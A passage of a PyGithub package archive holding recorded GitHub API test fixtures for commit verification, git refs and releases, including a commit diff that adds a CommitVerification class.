SIGNATURE-----\n\nwsFcBAABCAAQBQJnYqaTCRC1aQ7uu5UhlAAAp3wQAGPaBPEC4WlL9rvDA6G+kaRZ\n+296Qb/jRjZX6joS//aQq5rjHKn//qTv13lTBQnM1a7gFfvA7TSoxNsoqzkk6DAe\nME7qoSMYWl+GdvXsySo4ksGbFN0LL77CSmJyFXRXB5TIjUJT7dbjTkjE9/4zcfq4\nmR8D57GowX7YgqUeRzf8+5zz7ySJ9hAMcF/n+OJjLiew0RFp3hQBSFOr/1B4YJbL\n0Ln9i/DH9KBhwIUnc68k04GxVtAMaS7X0SOVbezylaBlQyF2JV3bDbb38h77KPJ1\nln0qPi+hamZu43pbKGNuj1BjiLsavKHx5v4EYQ5gUzBDLlUMvUUmFNb4lrbulmSw\ng2Fr13dbjRmgHa5Lj7VAay3xXFwdTGNH3o04uefpvZ/6sRB1e9fP4VR5UVECZLe0\nD5Au4VSA7usgOLdDjxoG6mBOzEY7vWkbCmbFxB1Q1tWY53ecw9NJ15p8NAtH2dR1\n+xUeNzDeQMHS4FIZ/Z6c6RuUyusK7fRAxddhUoXu4KVEwbdEV9qsEKDqtW4eUMXX\nQQBtkxzZkL1lMz4UTXnHwG5jSbHVz3tSyYYpQYZPO2zE/TOrfuZzYGOZ2g9vreNt\nTa8u/MMtvhguLV1qCEqAgzDQo0Kx+dc+ueNt/ruCuhWxn0jl0LMX4qvmZX1d2X58\nJ9ub7sFcpLb1gsueYKQ6\n=RKbN\n-----END PGP SIGNATURE-----\n","payload":"tree d9e2468f2db35e158eb65e91b249dde20ca88c86\nparent a50ae51b2c351b889055568bcaa9ab6000f1677f\nauthor Enrico Minack 1734518419 +0100\ncommitter GitHub 1734518419 +0100\n\nGet branches where commit is head (#3083)\n\nImplements `GET\r\n/repos/{owner}/{repo}/commits/{commit_sha}/branches-where-head`\r\n\r\nhttps://docs.github.com/rest/commits/commits#list-branches-for-head-commit","verified_at":"2024-12-18T10:45:21Z"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitCommitVerification.setUp.txt0000644000175100001660000003110614756101563024256 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/801d64a4c5c0fcb63f695e0f6799117e76e5fe67 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 30 Oct 2024 23:23:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1d5d107249e739729756aee3c59c72fdad7ced99a3c2a080ba8abca01d102f4f"'), ('Last-Modified', 'Wed, 28 Aug 2024 07:41:55 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '44'), ('X-RateLimit-Reset', '1730333577'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '8B5A:2437C0:339FEF4:3660262:6722BFE3'), ('Content-Length', '2818')] {"sha":"801d64a4c5c0fcb63f695e0f6799117e76e5fe67","node_id":"C_kwDOADYVqtoAKDgwMWQ2NGE0YzVjMGZjYjYzZjY5NWUwZjY3OTkxMTdlNzZlNWZlNjc","commit":{"author":{"name":"Tim Gates","email":"tim.gates@iress.com","date":"2024-08-28T07:41:47Z"},"committer":{"name":"Tim Gates","email":"tim.gates@iress.com","date":"2024-08-28T07:41:55Z"},"message":"Commit verification support\n\nAdd support for verification component of Commit API response to see if\ncommit has been signed and the signature has been checked by Github","tree":{"sha":"4f502b4c4e5f0bdc7ee611f914bbdef51aef5efa","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/4f502b4c4e5f0bdc7ee611f914bbdef51aef5efa"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/801d64a4c5c0fcb63f695e0f6799117e76e5fe67","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niMgEAAEKADIWIQRbWfY9TlELdM/5UaauO+DVOCPPBQUCZs7U0RQcdGltLmdhdGVz\nQGlyZXNzLmNvbQAKCRCuO+DVOCPPBQ2tBACAaRNONEWlDDNyYkAnIv8bZ55BuIuy\nTvbxVPjI8KLDqKLzgHO60HhQ3h/hCiug6g5fvVzyIrmayj3eEzaWAfa3+f37f3xK\nflZRMtNFUBYQoLTuyTkKvW85UA2AkUvKp3bHT5W6ZoCKqR5xw6pwKxuYQi7eJG9h\nNPrZTezkL6EDng==\n=Ng9G\n-----END PGP SIGNATURE-----","payload":"tree 4f502b4c4e5f0bdc7ee611f914bbdef51aef5efa\nparent 85087354078e426125dbbf88041bbaa6f35d8199\nauthor Tim Gates 1724830907 +1000\ncommitter Tim Gates 1724830915 +1000\n\nCommit verification support\n\nAdd support for verification component of Commit API response to see if\ncommit has been signed and the signature has been checked by Github\n"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/801d64a4c5c0fcb63f695e0f6799117e76e5fe67","html_url":"https://github.com/PyGithub/PyGithub/commit/801d64a4c5c0fcb63f695e0f6799117e76e5fe67","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/801d64a4c5c0fcb63f695e0f6799117e76e5fe67/comments","author":{"login":"timgates42","id":47873678,"node_id":"MDQ6VXNlcjQ3ODczNjc4","avatar_url":"https://avatars.githubusercontent.com/u/47873678?v=4","gravatar_id":"","url":"https://api.github.com/users/timgates42","html_url":"https://github.com/timgates42","followers_url":"https://api.github.com/users/timgates42/followers","following_url":"https://api.github.com/users/timgates42/following{/other_user}","gists_url":"https://api.github.com/users/timgates42/gists{/gist_id}","starred_url":"https://api.github.com/users/timgates42/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timgates42/subscriptions","organizations_url":"https://api.github.com/users/timgates42/orgs","repos_url":"https://api.github.com/users/timgates42/repos","events_url":"https://api.github.com/users/timgates42/events{/privacy}","received_events_url":"https://api.github.com/users/timgates42/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"timgates42","id":47873678,"node_id":"MDQ6VXNlcjQ3ODczNjc4","avatar_url":"https://avatars.githubusercontent.com/u/47873678?v=4","gravatar_id":"","url":"https://api.github.com/users/timgates42","html_url":"https://github.com/timgates42","followers_url":"https://api.github.com/users/timgates42/followers","following_url":"https://api.github.com/users/timgates42/following{/other_user}","gists_url":"https://api.github.com/users/timgates42/gists{/gist_id}","starred_url":"https://api.github.com/users/timgates42/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timgates42/subscriptions","organizations_url":"https://api.github.com/users/timgates42/orgs","repos_url":"https://api.github.com/users/timgates42/repos","events_url":"https://api.github.com/users/timgates42/events{/privacy}","received_events_url":"https://api.github.com/users/timgates42/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"sha":"85087354078e426125dbbf88041bbaa6f35d8199","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/85087354078e426125dbbf88041bbaa6f35d8199","html_url":"https://github.com/PyGithub/PyGithub/commit/85087354078e426125dbbf88041bbaa6f35d8199"}],"stats":{"total":84,"additions":84,"deletions":0},"files":[{"sha":"8ac09116ff74fa5bdb9e06283214486ba4f378d3","filename":"github/Commit.py","status":"modified","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/PyGithub/PyGithub/blob/801d64a4c5c0fcb63f695e0f6799117e76e5fe67/github%2FCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/801d64a4c5c0fcb63f695e0f6799117e76e5fe67/github%2FCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommit.py?ref=801d64a4c5c0fcb63f695e0f6799117e76e5fe67","patch":"@@ -24,6 +24,7 @@\n # Copyright 2024 Enrico Minack #\n # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> #\n # Copyright 2024 iarspider #\n+# Copyright 2024 timgates42 #\n # #\n # This file is part of PyGithub. #\n # http://pygithub.readthedocs.io/ #\n@@ -57,6 +58,7 @@\n import github.GitCommit\n import github.NamedUser\n import github.PaginatedList\n+import github.CommitVerification\n from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional\n from github.PaginatedList import PaginatedList\n \n@@ -71,6 +73,7 @@\n from github.GitCommit import GitCommit\n from github.NamedUser import NamedUser\n from github.PullRequest import PullRequest\n+ from github.CommitVerification import CommitVerification\n \n \n class Commit(CompletableGithubObject):\n@@ -92,6 +95,7 @@ def _initAttributes(self) -> None:\n self._sha: Attribute[str] = NotSet\n self._stats: Attribute[CommitStats] = NotSet\n self._url: Attribute[str] = NotSet\n+ self._verification: Attribute[CommitVerification] = NotSet\n \n def __repr__(self) -> str:\n return self.get__repr__({\"sha\": self._sha.value})\n@@ -157,6 +161,11 @@ def url(self) -> str:\n self._completeIfNotSet(self._url)\n return self._url.value\n \n+ @property\n+ def verification(self) -> CommitVerification:\n+ self._completeIfNotSet(self._verification)\n+ return self._verification.value\n+\n def create_comment(\n self,\n body: str,\n@@ -311,3 +320,5 @@ def _useAttributes(self, attributes: dict[str, Any]) -> None:\n self._stats = self._makeClassAttribute(github.CommitStats.CommitStats, attributes[\"stats\"])\n if \"url\" in attributes: # pragma no branch\n self._url = self._makeStringAttribute(attributes[\"url\"])\n+ if \"verification\" in attributes: # pragma no branch\n+ self._verification = self._makeClassAttribute(github.CommitVerification.CommitVerification, attributes[\"verification\"])"},{"sha":"7a5a6ae633da4f3f6649fdf9859e2d7fcef14866","filename":"github/CommitVerification.py","status":"added","additions":73,"deletions":0,"changes":73,"blob_url":"https://github.com/PyGithub/PyGithub/blob/801d64a4c5c0fcb63f695e0f6799117e76e5fe67/github%2FCommitVerification.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/801d64a4c5c0fcb63f695e0f6799117e76e5fe67/github%2FCommitVerification.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FCommitVerification.py?ref=801d64a4c5c0fcb63f695e0f6799117e76e5fe67","patch":"@@ -0,0 +1,73 @@\n+############################ Copyrights and license ############################\n+# #\n+# Copyright 2024 timgates42 #\n+# #\n+# This file is part of PyGithub. #\n+# http://pygithub.readthedocs.io/ #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+################################################################################\n+\n+from __future__ import annotations\n+\n+from typing import Any\n+\n+from github.GithubObject import (Attribute, CompletableGithubObject, NotSet)\n+\n+\n+class CommitVerification(CompletableGithubObject):\n+ \"\"\"\n+ This class represents CommitVerifications.\n+\n+ The reference can be found here\n+ https://docs.github.com/en/rest/commits/commits\n+\n+ \"\"\"\n+\n+ def _initAttributes(self) -> None:\n+ self._verified: Attribute[bool] = NotSet\n+ self._reason: Attribute[str] = NotSet\n+ self._signature: Attribute[str] = NotSet\n+ self._payload: Attribute[str] = NotSet\n+\n+ @property\n+ def verified(self) -> str:\n+ self._completeIfNotSet(self.verified)\n+ return self._verified.value\n+\n+ @property\n+ def reason(self) -> str:\n+ self._completeIfNotSet(self._reason)\n+ return self._reason.value\n+\n+ @property\n+ def signature(self) -> str:\n+ self._completeIfNotSet(self._signature)\n+ return self._signature.value\n+\n+ @property\n+ def payload(self) -> str:\n+ self._completeIfNotSet(self._payload)\n+ return self._payload.value\n+\n+ def _useAttributes(self, attributes: dict[str, Any]) -> None:\n+ if \"verified\" in attributes: # pragma no branch\n+ self._verified = self._makeBoolAttribute(attributes[\"verified\"])\n+ if \"reason\" in attributes: # pragma no branch\n+ self._reason = self._makeStringAttribute(attributes[\"reason\"])\n+ if \"signature\" in attributes: # pragma no branch\n+ self._signature = self._makeStringAttribute(attributes[\"signature\"])\n+ if \"payload\" in attributes: # pragma no branch\n+ self._payload = self._makeStringAttribute(attributes[\"payload\"])"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRef.setUp.txt0000644000175100001660000000710514756101563021201 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fc8367028bd9046f0b52929ea8657756"'), ('date', 'Thu, 10 May 2012 18:49:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","owned_private_repos":5,"public_repos":10,"html_url":"https://github.com/jacquev6","blog":"http://vincent-jacques.net","collaborators":0,"following":24,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"followers":13,"url":"https://api.github.com/users/jacquev6","private_gists":5,"hireable":false,"login":"jacquev6","email":"vincent@vincent-jacques.net","disk_usage":16676,"plan":{"private_repos":5,"collaborators":1,"space":614400,"name":"micro"},"created_at":"2010-07-09T06:10:06Z","name":"Vincent Jacques","bio":"","id":327146,"total_private_repos":5,"location":"Paris, France"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"82dfa2c767e249ed2a1703529101f0aa"'), ('date', 'Thu, 10 May 2012 18:49:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"homepage":"http://vincent-jacques.net/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_downloads":true,"watchers":13,"permissions":{"admin":true,"pull":true,"push":true},"mirror_url":null,"git_url":"git://github.com/jacquev6/PyGithub.git","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"language":"Python","size":196,"description":"Python library implementing the full Github API v3","private":false,"created_at":"2012-02-25T12:53:47Z","open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"name":"PyGithub","pushed_at":"2012-05-10T18:14:23Z","id":3544490,"ssh_url":"git@github.com:jacquev6/PyGithub.git","updated_at":"2012-05-10T18:14:23Z"} https GET api.github.com None /repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '336'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ef55032f07a176e09c65b2ac524c2ecf"'), ('date', 'Thu, 10 May 2012 14:38:00 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","type":"commit","sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a"},"ref":"refs/heads/BranchCreatedByPyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRef.testDelete.txt0000644000175100001660000000066714756101563022211 0ustar00runnerdockerhttps DELETE api.github.com None /repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4984'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Thu, 10 May 2012 18:49:22 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRef.testEdit.txt0000644000175100001660000000162414756101563021666 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"sha": "04cde900a0775b51f762735637bd30de392a2793"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ced480ad69948233f6520f7cd945eb34"'), ('date', 'Thu, 10 May 2012 18:49:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/04cde900a0775b51f762735637bd30de392a2793","type":"commit","sha":"04cde900a0775b51f762735637bd30de392a2793"},"ref":"refs/heads/BranchCreatedByPyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRef.testEditWithForce.txt0000644000175100001660000000164314756101563023502 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"sha": "4303c5b90e2216d927155e9609436ccb8984c495", "force": true} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fb39f29de1defbab14def8a331d00c69"'), ('date', 'Thu, 10 May 2012 18:49:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","type":"commit","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},"ref":"refs/heads/BranchCreatedByPyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.setUp.txt0000644000175100001660000003376614756101563022061 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4737'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '89C0:3C01:13C7153:20DEA2D:5F0DE81C')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4736'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '89C8:7C5B:12D9BB2:1F8925C:5F0DE81D')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28524234 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4735'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, 